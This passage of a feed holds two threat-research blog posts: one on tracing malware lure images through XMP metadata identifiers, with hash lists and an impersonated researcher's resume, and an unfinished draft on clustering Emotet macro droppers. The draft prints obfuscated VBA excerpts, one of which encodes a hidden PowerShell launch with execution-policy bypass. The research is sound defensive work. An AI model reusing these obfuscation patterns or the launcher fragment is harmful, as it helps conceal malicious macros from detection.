&lt;pre&gt;&lt;code&gt;$ exiftool image2.jpeg | grep -i xmp&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;/b&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    Toolkit                          : Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
    Instance ID                      : xmp.iid:CAE628A27467E911AD18A821864C67C5
    Document ID                      : xmp.did:B3D4F1219157E911B37B9950729CB11D
    Original Document ID             : xmp.did:B3D4F1219157E911B37B9950729CB11D
    History Instance ID   XMP        : xmp.iid:B3D4F1219157E911B37B9950729CB11D,
                                       xmp.iid:CAE628A27467E911AD18A821864C67C5
    Derived From Instance ID         : xmp.iid:C9E628A27467E911AD18A821864C67C5
    Derived From Document ID         : xmp.did:B3D4F1219157E911B37B9950729CB11D
    Derived From Original Document ID: xmp.did:B3D4F1219157E911B37B9950729CB11D
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The instance ID for this specific asset is CAE628A27467E911AD18A821864C67C5, looking one level up at the document ID or original document ID we see &lt;a href=&quot;https://labs.inquest.net/dfi/search/ioc/xmpid/B3D4F1219157E911B37B9950729CB11D&quot; target=&quot;_top&quot;&gt;B3D4F1219157E911B37B9950729CB11D&lt;/a&gt;. We can pivot on this identifier through InQuest Labs:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://labs.inquest.net/dfi/search/ioc/xmpid/B3D4F1219157E911B37B9950729CB11D&quot; target=&quot;_top&quot;&gt;https://labs.inquest.net/dfi/search/ioc/xmpid/B3D4F1219157E911B37B9950729CB11D&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As of the time of this writing, the above search results in 88 different XMP records spread across 44 unique files. The complete list of SHA256 hashes is listed here in alphabetical order. We've highlighted the 8th hash below, more on this sample in the next segment.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;00121f1606d92c3a1e33c1d4fdf46240dafe3f5e188c15a70b19b2bf7af1c227&lt;/li&gt;
&lt;li&gt;06d2335b3e09d7e1e5c7d5c130c908fb2ecc3203f3588f965597d01e2a8b6937&lt;/li&gt;
&lt;li&gt;0dfaa85dfbc21fed86337d2b3fdea8f82679ad23cbdeb3421d5f96e4dff8acfb&lt;/li&gt;
&lt;li&gt;0f4004c71d7be998222325b9692ae3c302995ceba152e71cff567103dcd4d5fc&lt;/li&gt;
&lt;li&gt;1f2c096dbf1229c381e9c8d4ac462c35f2da6991fd278d93c476d14d48848243&lt;/li&gt;
&lt;li&gt;1f4fcfd867258e15a99ac77f4a0c3b57ecd1fbf9c76f0e7b47c41a475d84679f&lt;/li&gt;
&lt;li&gt;3380235f6de3db4eac0f1212a2608f8b02b1cef68cf5db34e445e729623e686a&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;38aa04842e21290b90e50ab2d724dbbdfd47767f072f7351f51af107125bc7d1&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;3c57e01c98454cab1c80d79bec69f562bdeec063ab4fb96c174fb9b2ec58c844&lt;/li&gt;
&lt;li&gt;43179d0781d2060a64fe30229a02839cd3bde5d2f324de35b3e0281b0e737a97&lt;/li&gt;
&lt;li&gt;47079047672a5623fd32d2ee59e572125f813693c0e4500bdddfb8da443555bf&lt;/li&gt;
&lt;li&gt;4e4f051a44d6695c39133e8ca9efbc5b9e405047e2de4cb5dc1e686466a92121&lt;/li&gt;
&lt;li&gt;4fa9446c629c3eac4e3e08edec00014520231ba9cca7d33243c8be857aad6f81&lt;/li&gt;
&lt;li&gt;5015f68a8c4a3bb1ca8617210311d95275bd2950475cc4dca17a533de53144e1&lt;/li&gt;
&lt;li&gt;5042143c8d1ca43a1bc9cf7e9040fdaec1feded1df63a636dfedb639945a2fcc&lt;/li&gt;
&lt;li&gt;5413abf53b1849ce6df0b033b40cb7b57672452837bb8288e67c4ff88a48c3ae&lt;/li&gt;
&lt;li&gt;54a029ed71862a19c4b891dc87f5388d10f125f2fe71ac891f7c19b7e814f8f4&lt;/li&gt;
&lt;li&gt;54ebc0d9d9d2a78d4e6d59abdadfed06ea4fa828786a4690a5a1c74bba3ce2cd&lt;/li&gt;
&lt;li&gt;55d837894d33312359cf8dc75def9571ea2a039848fc8c3b791090b97aa825f7&lt;/li&gt;
&lt;li&gt;5b88f32d73be23510dc431977a67049a94ebecb8b8d20a53b3b0d878482baa0e&lt;/li&gt;
&lt;li&gt;73600566cf58f255b6e4432edeb6387abf20b56d6f1ddbb98fea3db7d4c4c85d&lt;/li&gt;
&lt;li&gt;7e3428e040e27afb40bfdd1af3533cc6353539869baa254424df8a40ee56ca93&lt;/li&gt;
&lt;li&gt;7f971db182b02c6e0dca36e010304b5f684e9909db586f5a983d288c9eef26c8&lt;/li&gt;
&lt;li&gt;879737700c55cd430e6e6dd7b89cf65df9c7f4eda40488a5c6dcd3a7ff898afc&lt;/li&gt;
&lt;li&gt;880a410c6fd450a5a8c353a3dad432b6ea763bfe9ad258dab685ccf922ae297b&lt;/li&gt;
&lt;li&gt;8b0464dd223a3478fa4053410bd0e3ee190eb151c473ef339dd4a1f99fffc626&lt;/li&gt;
&lt;li&gt;8d776245b87ccdd6dddf1e2f5eccf0315de6e899490c2a78a008b6115fc12c46&lt;/li&gt;
&lt;li&gt;8ec3a628d9b1d49201917978c24f1e2891b57b163f0f5bb3b51251474d71598b&lt;/li&gt;
&lt;li&gt;9506670a5d7f941bf96120353408a60805f5c3822e3946997a3a0a712703423a&lt;/li&gt;
&lt;li&gt;96fdb605c2bbd3a8b570e5c23f9f92ee83d37ca841ab3add23ff01ff73d3a57e&lt;/li&gt;
&lt;li&gt;97a476f1d46cfa6cd800b87baf5f7810cb6a5c232a831ac682b8bd376c8def70&lt;/li&gt;
&lt;li&gt;980d8d3e67fb19ea5ef37aa2098225d10d97718f446d92b4e0d1b96980747adf&lt;/li&gt;
&lt;li&gt;988f21477f5026b45ae691bbd69fe1fc1914d8a89eba18cf9a0a5ac1938c9754&lt;/li&gt;
&lt;li&gt;ac868175af09137932aa8472be136ffa15a0cf2f6a04b397cb0bced6c48aad02&lt;/li&gt;
&lt;li&gt;af9c1bd692933b925163b3899a003c54d4598c48edc2fc873d4e34d089b79308&lt;/li&gt;
&lt;li&gt;b0b0953063b3cb8a380034104795176bfb51266b6b96c60716b4f272c88af9db&lt;/li&gt;
&lt;li&gt;b45ff736c52a3e6a9ff0c93d63a9aa27906cb350d8311236b67d2d9d7fca8e41&lt;/li&gt;
&lt;li&gt;b5986e67a0888ff58c7ca28b9433476d3866d5338a36a68e3e0297d0edda144a&lt;/li&gt;
&lt;li&gt;bc6537ff96c9cb760170f4a0b5805f35591a31bf982bbd432cbcd44efe46c022&lt;/li&gt;
&lt;li&gt;cc81be86c7896285698949e3015f1e940f0be91ddca045901e947f5d6bee03ff&lt;/li&gt;
&lt;li&gt;ded9746abb7085f8a5ba1bb805b019ab6adeb85d93abe8b7cab4bdd5fa3e029c&lt;/li&gt;
&lt;li&gt;e1359cfe046cd7137ab8480a893df358370ebb07266b0af222e257ee8ccd66e1&lt;/li&gt;
&lt;li&gt;e786312e4226bf2c364fe96d3a7ff133b302681686dc31f45b661884d0686b76&lt;/li&gt;
&lt;li&gt;fa97740770f45666ed17ca3b536b513bd99cbfa0c1feeb25dc5c08019831969e&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;More Interesting Pivots&lt;/h2&gt;

&lt;h2&gt;Language&lt;/h2&gt;

&lt;p&gt;Recall from earlier in the blog we compared and contrasted a variety of methods for tracking graphical asset re-use across malware lures. Cryptographic file hashes, perception hashes, and OCR based semantic extraction. We posited that, when available, XMP identifiers provide a fast and valuable alternative to these methods. Let's take a look at highlighted 8th hash from the list above:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://labs.inquest.net/dfi/sha256/38aa04842e21290b90e50ab2d724dbbdfd47767f072f7351f51af107125bc7d1&quot; target=&quot;_top&quot;&gt;38aa04842e21290b90e50ab2d724dbbdfd47767f072f7351f51af107125bc7d1&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This document lure provides a great example of the value of the XMP approach. Here's image2.jpeg from that sample:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2019-09-30-adobe-xmp-tales-of-an-overlooked-anchor/image2_0.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;Note that it is the German language equivalent of the image2.jpeg from the original lure. The unique instance ID for this asset is B6D4F1219157E911B37B9950729CB11D, as shown here through Exiftool:&lt;/p&gt;

&lt;p&gt;&lt;b&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ cat image2.jpeg.exiftool | grep -i xmp&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;/b&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    XMP Toolkit                      : Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
    Instance ID                      : xmp.iid:B6D4F1219157E911B37B9950729CB11D
    Document ID                      : xmp.did:B3D4F1219157E911B37B9950729CB11D
    Original Document ID             : xmp.did:B3D4F1219157E911B37B9950729CB11D
    History Instance ID              : xmp.iid:B3D4F1219157E911B37B9950729CB11D
    Derived From Instance ID         : xmp.iid:B5D4F1219157E911B37B9950729CB11D
    Derived From Document ID         : xmp.did:B3D4F1219157E911B37B9950729CB11D
    Derived From Original Document ID: xmp.did:B3D4F1219157E911B37B9950729CB11D
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;But the asset shares the same parent ID of B3D4F1219157E911B37B9950729CB11D with CAE628A27467E911AD18A821864C67C5. To think about this in human terms. An initial asset was created and saved, then the text translated and resaved. Thus producing two unique assets with the same parent ID. While this relationship can also be derived from a perception hash, the XMP approach is far better performing. Again, readers should note that other pivot options are available. For example, searching for the &lt;a href=&quot;https://labs.inquest.net/dfi/search/ext/ext_ocr/Bearbeitung%20aktivieren&quot; target=&quot;_top&quot;&gt;German language equivalent of &quot;Enable Content&quot;&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Impersonation&lt;/h2&gt;

&lt;p&gt;Recall from earlier in the DOCX with JPG example that we glazed over image1.jpeg. Let's circle back and take a look at that image now:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2019-09-30-adobe-xmp-tales-of-an-overlooked-anchor/template_0.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;It looks like a template for a structured resume. The profile shot looks legitimate as well, though who knows in this day and age of &lt;a href=&quot;https://icons8.com/articles/ai-generated-faces/&quot; target=&quot;_top&quot;&gt;generative algorithms&lt;/a&gt;. Carving out the profile photo and feeding it through the &lt;a href=&quot;https://tineye.com/search/2d024f7aa188055892eb4aee3107ea9f0f3ac95f&quot; target=&quot;_top&quot;&gt;TinEye reverse image search&lt;/a&gt;, we get a match on Dr. Britta H&ouml;llermann, a [German university research assistant}(https://www.geographie.uni-bonn.de/research/rg/rg-evers/staff/britta-hoellermann) whose identity is seemingly being leveraged as part of the social engineering dimension of this malware campaign. Let's compare the XMP identifiers between the image above and the image found via the reverse image search below:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/legacy/2019-09-30-adobe-xmp-tales-of-an-overlooked-anchor/britta_0.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;&lt;b&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
# malware lure embedded image.
$ exiftool image1.jpeg | grep -i xmp
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;/b&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
    XMP Toolkit                     : Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
    Instance ID                     : xmp.iid:78113FDD7F57E911B37B9950729CB11D
    History Instance ID             : xmp.iid:77113FDD7F57E911B37B9950729CB11D
    Document Ancestors              : xmp.did:&lt;b&gt;97ba5d41-3019-4fa8-8e66-c2edb9f4b5e8&lt;/b&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;b&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
# reverse image search discovered match.
$ wget https://www.geographie.uni-bonn.de/forschung/ags/ag-evers/Team/1bh.jpg
$ exiftool 1bh.jpg | grep -i xmp
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;/b&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
XMP Toolkit                     : Adobe XMP Core 5.5-c002 1.148022, 2012/07/15-18:06:45
Document ID                     : xmp.did:97ba5d41-3019-4fa8-8e66-c2edb9f4b5e8
Instance ID                     : xmp.iid:d1b150a4-7321-4874-b61e-ac58bf4f81d2
History Instance ID             : xmp.iid:635cbfe1-2c45-49f0-9158-19ec213c86e7,
                                  xmp.iid:ca378365-ad41-4284-8cb7-e8b627602372,
                                  xmp.iid:&lt;b&gt;97ba5d41-3019-4fa8-8e66-c2edb9f4b5e8&lt;/b&gt;,
                                  xmp.iid:C4C93C76192068118083F8015B1BC4AF,
                                  xmp.iid:73B02411182068118083CE7276DA08A4,
                                  xmp.iid:0dad9cdc-3dc6-4118-8a5c-bb239234984a,
                                  xmp.iid:C5C93C76192068118083F8015B1BC4AF,
                                  xmp.iid:20659034222068118083CE7276DA08A4,
                                  xmp.iid:c5056276-dc8e-4f38-9aae-f04096a86fda,
                                  xmp.iid:AD90EF6D362068118083F8015B1BC4AF,
                                  xmp.iid:AE90EF6D362068118083F8015B1BC4AF,
                                  xmp.iid:222AB06C382068118083CE7276DA08A4,
                                  xmp.iid:d1b150a4-7321-4874-b61e-ac58bf4f81d2
Derived From Instance ID        : xmp.iid:AD90EF6D362068118083F8015B1BC4AF
Derived From Document ID        : xmp.did:&lt;b&gt;97ba5d41-3019-4fa8-8e66-c2edb9f4b5e8&lt;/b&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Notice the overlap here. The ancestor document GUID from the malware lure matches that of the asset discovered via reverse image search. Pivoting from this XMP identifier, we're able to enumerate other malware samples that impersonate Dr. H&ouml;llermann. We found ~150 unique malware samples with an average of ~10 AV detections on samples that overlap with VT. Tracing the campaign further we determine that the majority of final delivered executable payloads is ransomware, one example instance being:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/720fbe60f049848f02ba9b2b91926f80ba65b84f0d831a55f4e634c820bd0848/detection&quot; target=&quot;_top&quot;&gt;720fbe60f049848f02ba9b2b91926f80ba65b84f0d831a55f4e634c820bd0848&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Wrapping Up...&lt;/h2&gt;

&lt;p&gt;We hope to have inspired additional research atop of sample clustering through XMP identifier relationships and look forward to feedback from the community with how we can make InQuest labs an invaluable tool for your research projects. Get in touch with us directly via Twitter or e-mail.&lt;/p&gt;
&lt;p class=&quot;dim&quot;&gt;&lt;i&gt;Originally published 2019-09-30 on &lt;a href=&quot;https://web.archive.org/web/2020/https://inquest.net/blog/2019/09/30/Adobe-XMP-Tales-of-an-Overlooked-Anchor&quot; target=&quot;_top&quot;&gt;the InQuest blog&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;
</description>
        </item>
                <item>
            <title>07.03.2019: Emotet, Unmasking via Machine Learning</title>
            <link>http://pedramamini.com/blog/2019.07.03/</link>
            <pubDate>Wed, 03 Jul 2019 00:00:00 -0500</pubDate>
            <description>&lt;p&gt;Authored by: Steve Esling, Amirreza Niakanlahiji, and William MacArthur&lt;/p&gt;
&lt;p&gt;There's plenty of malware to worry about in this world, and one of the most threatening (and costly) families out there is known as Emotet. Synonymous with Geodo / Heodo, Emotet has been evolving for the instant it was initially observed by information security practitioners in 2014. Emotet is a modular agent, information stealer, and downloader that most recently specializes in smuggling in other prolific trojans, usually ones that targeting banking information. This wasn't always the case. Initial intentions shifted towards becoming a malware delivery platform as Emotet's capability to spread undetected was exemplary in the malware ecosystem.&lt;/p&gt;
&lt;p&gt;As of the time of writing, the tier-1 emotet Command and Control (C&amp;amp;C or C2) infrastructure is currently offline. It is well worth being prepared for its inevitable return however as this dormancy is likely temporal and related to the group retooling for the next major release. There is speculation that the next revision will include an exploit for a recent Microsoft Windows Remote Desktop Services vulnerability, [CVE-2019-0708](https://blogs.technet.microsoft.com/msrc/2019/05/14/prevent-a-worm-by-updating-remote-desktop-services-cve-2019-0708/). Emotet has been incredibly challenging to pin down, not only because it spreads rapidly through email delivery, but because its polymorphic, modular design allows its operators to constantly shift and change the code, making signature-based detection methods temporary solutions at best. Human experts are still usually able to discern if a given sample is Emotet or not after examining caught samples, but it’s a slow process that can’t possibly scale to production traffic volumes seen in the typical SOC environment. Fortunately, as we've discussed in previous blogs ([intro](https://inquest.net/blog/2018/11/14/Ex-Machina-Man-Plus-Machine), [random forest](https://inquest.net/blog/2018/12/28/Ex-Machina-Random-Forests), and [minhash](https://inquest.net/blog/2019/02/28/Ex-Machina-Family-Matters) for example), machine learning provides the tools necessary to emulate human analysis and automate it on a large scale. In this post, we'll talk further about the makings of Emotet and discuss how a previously built classifier can be re-trained and thereby re-tooled to assist in the discovery of evolving samples.&lt;/p&gt;
&lt;h2&gt;Emotet&lt;/h2&gt;
&lt;p&gt;There's a number of stages in the infection vector prior to the final delivery of the polymorphic Emotet executable payload, but before we glance at those. Let's review the high level functionality of Emotet. Comprised of modules, the following functionality is (at least) known to have been implemented:&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;The main module, responsible for loading other modules received from C2 infrastructure.&lt;/li&gt;
&lt;li&gt;Address book harvester, performs e-mail spool analysis to lift target e-mails that can be passed to the spam module (see below).&lt;/li&gt;
&lt;li&gt;Brute force module, attempts to connect to local network resources and brute force passwords, in an effort to copy itself to other systems.&lt;/li&gt;
&lt;li&gt;Credential harvester, also present in most versions of Emotet, this module leverages NirSoft tools to lift credentials from installed web and mail clients.&lt;/li&gt;
&lt;li&gt;E-mail harvester, responsible for the exfiltration of harvested e-mail data to C2 infrastructure.&lt;/li&gt;
&lt;li&gt;Spam module, present in most version of Emotet and responsible for the continued e-mail borne spread of the contagion.&lt;/li&gt;
&lt;li&gt;Distributed Denial of Service (DDoS) module, a dormant module that was active in earlier versions of Emotet.&lt;/li&gt;
&lt;li&gt;Banking module, a dormant module that was active in earlier versions of Emotet.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Like most malware, there are a variety of stages in Emotet related malware campaigns. In the hunt for fresh evolving Emotet samples, we can focus on one or more of these stages, looking for commonalities or anchors that we can pivot on to identify other components of the infection vector. Examples include: &lt;/p&gt;
&lt;ul&gt;&lt;li&gt;The initial delivery mechanism.&lt;/li&gt;
&lt;li&gt;Final executable payload analysis.&lt;/li&gt;
&lt;li&gt;C2 communication patterns.&lt;/li&gt;
&lt;li&gt;C2 infrastructure (IP and DNS endpoints).&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;On the latter most matter, one can account part of Emotet's success to its rigid C2 architecture. Leveraging at least two large botnets of infected computers, known to researchers as Epoch1 and Epoch 2. In keeping with the subject of prior machine learning blog posts, we focus here on the initial delivery mechanism. Specifically the e-mail borne delivery mechanisms, and more specifically the usage of malicious Microsoft Office macros. This is actually the #1 most effective Emotet delivery mechanism, otherwise known as malspam. If we can uniquely identify components of the macro malware specific to Emotet campaigns, then we can cast a net around this stage of the infection vector (labeled &quot;1&quot; in the diagram below) and in-turn enumerate the other components of the infection vector.&lt;/p&gt;

&lt;a href=&quot;https://web.archive.org/web/2020/https://inquest.net/sites/default/files/2019-07/Emotet_Flow.png&quot; target=&quot;_top&quot;&gt;&lt;/a&gt;

&lt;p&gt;Let's take a glance at some of the characteristic components for each of four different macro families collected from Emotet samples we've been harvesting over the past year. Each of these families have distinctive features that a human analyst will notice instinctually while analyzing Emotet samples at scale. In the next section, we'll highlight how we can leverage unsupervised machine learning to automatically identify these clusters.&lt;/p&gt;
&lt;h3&gt;Family-1&lt;/h3&gt;
&lt;p&gt;At a glance analysis reveals multiple, sometimes nested, junk If-Else decision trees with heavy usage of gibberish variables and a mix of math library function calls. Most popular seen functions include (ordered more common first): *Atn(), Round(), Sqr(), Tan(), Hex(), Rnd(), Cos(), Oct(), CLng(), ChrB(), Int(), CStr(), CVar(), Asc(), CDate().*&lt;/p&gt;
&lt;p&gt;Sample Macro Obfuscation Style Excerpt&lt;br&gt;&lt;code&gt;&lt;br&gt;
jQAAxZ_&lt;br&gt;
If FQBXU_U = UZUo1BAA Then&lt;br&gt;
ElseIf bAoQXAB = JAAx1G Then&lt;br&gt;
    rCACwUBA = Hex(MD1xBBA + CSng(KAUDBAD / Tan(289954362 + 68963466)))&lt;br&gt;
ElseIf UXoAAUA = iADcA4 Then&lt;br&gt;
    IDwQAX = Atn(192828462) + Int(178883383)&lt;br&gt;
ElseIf I4kDQBU = XGwXAQ Then&lt;br&gt;
    HUUAcBDk = 722919832 + Atn(361484891)&lt;br&gt;
End If&lt;br&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Family-2&lt;/h3&gt;
&lt;p&gt;At a glance analysis reveals long hex strings and function definitions with gibberish names. Most popular seen functions include (ordered more common first): *lus(), DRTYUIUU(), fibonacci(), XXCERQAZSD(), UBound(), CreateObject(), Len(), Environ(), OUIZXCAQ(), LBound(), CreateTextFile(), Click().*&lt;/p&gt;
&lt;p&gt;Sample Macro Obfuscation Style Excerpt&lt;br&gt;&lt;code&gt;&lt;br&gt;
lus(2316) = &quot;f593ab11e5bd6d2727f4eae0e728abf327cbbce4755dac1e1027273f291bdf68d2ea7b7b2129dda75527632727e4795877e851ace928f0e128446071292727fb4018dcfe331b9929820d0d9929f54e27273999295fa5bac7d383474968875d71292727d713fac45ac92be339825128621f88ce272714db9505059929ac626d4f&quot;&lt;br&gt;
lus(2317) = &quot;298792e8182727e0750a5129eaa21827bfceb1598bc5cb2727c0dd299ba8a8a129c9cf8dc12994ba8c2727861bf581e3c03be2a905ac88be2179172727298a356b295840b8da93d8094fb7c9b727276138f3b929c6db34c709ac700129fd8227270727efa7a578a45b37c7294ca90441e22727d18e4969b02be1bdea15df295b&quot;&lt;br&gt;
lus(2318) = &quot;db396d27275d85b81bbfdcbfe12941ad19e288754b2727291b945679299fa16d8f9bca34db299a2727904c1929724cd9fbe1a9436aa7e8f4df27271537e0e00fc73e51d128585128ddbdb9272729a8e0f019b2972129079589b32988c92727098cdf09799729c777eb298aff99c32927277be288c5a0e9c9db2943b2ca19ef59&quot;&lt;br&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Family-3&lt;/h3&gt;
&lt;p&gt;At a glance analysis reveals heavy usage ChrW() character concatenation, and gibberish variables. Most popular seen functions include (ordered more common first): *ChrW(), Shell(), Open().*&lt;/p&gt;
&lt;p&gt;Sample Macro Obfuscation Style Excerpt&lt;br&gt;&lt;code&gt;&lt;br&gt;
Shell (bhZMvtDFeLa)&lt;br&gt;
bhZMvtDFeLa = ChrW(112) &amp;amp; ChrW(111) &amp;amp; ChrW(119) &amp;amp; ChrW(101) &amp;amp; ChrW(114) &amp;amp; ChrW(115) &amp;amp; ChrW(104) &amp;amp; ChrW(101) &amp;amp; ChrW(108) &amp;amp; ChrW(108) &amp;amp; ChrW(46) &amp;amp; ChrW(101) &amp;amp; ChrW(120) &amp;amp; ChrW(101) &amp;amp; ChrW(32) &amp;amp; ChrW(45) &amp;amp; ChrW(78) &amp;amp; ChrW(111) &amp;amp; ChrW(80) &amp;amp; ChrW(32) &amp;amp; ChrW(45) &amp;amp; ChrW(78) &amp;amp; ChrW(111) &amp;amp; ChrW(110) &amp;amp; ChrW(73) &amp;amp; ChrW(32) &amp;amp; ChrW(45) &amp;amp; ChrW(87) &amp;amp; ChrW(32) &amp;amp; ChrW(72) &amp;amp; ChrW(105) &amp;amp; ChrW(100) &amp;amp; ChrW(100) &amp;amp; ChrW(101) &amp;amp; ChrW(110) &amp;amp; ChrW(32) &amp;amp; ChrW(45) &amp;amp; ChrW(69) &amp;amp; ChrW(120) &amp;amp; ChrW(101) &amp;amp; ChrW(99) &amp;amp; ChrW(32) &amp;amp; ChrW(66) &amp;amp; ChrW(121) &amp;amp; ChrW(112) &amp;amp; ChrW(97) &amp;amp; ChrW(115) &amp;amp; ChrW(115) &amp;amp; &quot; &quot; _&lt;br&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Family-4&lt;/h3&gt;
&lt;p&gt;At a glance analysis reveals heavy usage of ChrW() / ChrB() / Chr() character concatenation, gibberish variables, jun If-Else junk decision trees, and long lines containing calls to various math library functionality. Most popular seen functions include (ordered more common first): *Chr(), CBool(), Sqr(), ChrW(), Round(), CByte(), Sin(), ChrB(), Fix(), CDate(), Hex(), CLng(), Cos(), Log(), Oct().*&lt;/p&gt;
&lt;p&gt;Sample Macro Obfuscation Style Excerpt&lt;br&gt;&lt;code&gt;&lt;br&gt;
If dXBABBA = zAAAoAAA Then&lt;br&gt;
    jAkBCAGA = 883910083 * CByte(559167643) / RDQQGGAA - Int(193946949 + oAccQUA) * 284989030 + CInt(242790627 + CLng(BA_4ADo))&lt;br&gt;
    LADUQDD = (k1QAUA / Oct(SAZBAAkB) - DAADAA * CInt(391963257) - D1AGxAAQ - CDbl(O4kwCUcA - tcBZB1AZ / OABDAG - 936688393))&lt;br&gt;
End If&lt;br&gt;
If wAQBxDXD = PAAABUA Then&lt;br&gt;
    XAUCAA = 873169285 * Sgn(793182667) / FAZQcAA - CDate(416882180 + VwDxAUCk) * 292734993 + Log(71335926 + CBool(UDAAw1U))&lt;br&gt;
    dAQAQQ = (rG1AcA / ChrW(iAUAAZD) - VAcDBBU * Int(234956747) - XBXQ4CD_ - Log(wAQBZBG - VDUAAk / zAB4UD - 983561536))&lt;br&gt;
End If&lt;br&gt;&lt;/code&gt;&lt;br&gt;
&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; Above this line is ready for blog.inquest.net&lt;br&gt;
&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; PRODUCTION LINE &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&lt;br&gt;
&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; Still working below this line&lt;/p&gt;
&lt;p&gt;An analyst familiar with Emotet can classify samples based on these distinctive characteristics with relative ease. Manual efforts obviously don't scale so practitioners commonly lean on signature based detection of such threats. An overall valuable technique, but a continuous battle with malware families such as Emotet, which frequently retool and employ polymorphic transformations to avoid exactly this kind of detection. Let's take a look at what a real-world signature based approach looks like in this case. [Clam AntiVirus](https://www.clamav.net/) (ClamAV) is a popular, freely available, and open source anti-virus solution. Supported by both the community and commercially owned by Cisco, ClamAV &lt;/p&gt;
&lt;p&gt;TODO https://github.com/InQuest/malware-samples/tree/master/2019-06-Emotet-Droppers 50 Emotet samples&lt;br&gt;
TODO Consider uploading clamav\_aggregate\_emotet\_document_downloader.yara to github/inquest/yara-rules … modify condition to be 2 or 3 of them.&lt;br&gt;
Unmasking via ML&lt;br&gt;
The first step, as with any supervised learning problem, is assembling a good training set. For this task, it would be a slightly different set than we’ve used in the past for catching malware. While our previous blogged about classifiers were concerned with finding &quot;good&quot; (negative for malware) and &quot;bad&quot; (positive for malware) macros, our Emotet ones would be specifically looking for whether or not the macro was the eponymous Trojan. This meant that the data would be split by &quot;positive for Emotet&quot; and &quot;negative for Emotet,&quot; with the latter actually containing a mixture of &quot;good&quot; and &quot;bad&quot; samples. Therefore, if these new classifiers were to return a negative result for any given macro, it might still be malicious, just not the &quot;right kind&quot; of malicious. It would still be up to our previous classifiers to deal with a file’s &quot;goodness&quot; or &quot;badness”. Our final data set wound up as two collections:&lt;/p&gt;
&lt;p&gt;A collection of &quot;bad&quot;, Emotet labeled malware.&lt;br&gt;
A collection of &quot;bad&quot;, non Emotet-labeled malware along with &quot;good&quot; non-malicious samples.&lt;/p&gt;
&lt;p&gt;TODO sample harvesting and initial labels&lt;br&gt;
	Harvesting&lt;br&gt;
		VT&lt;br&gt;
		https://urlhaus.abuse.ch/browse/tag/emotet/&lt;br&gt;
		https://urlhaus.abuse.ch/browse/tag/heodo/&lt;br&gt;
	Labeling&lt;br&gt;
		VT&lt;br&gt;
		ClamAV Super YARA Signature&lt;br&gt;
		Dynamic Analysis (Powershell pivot)&lt;/p&gt;
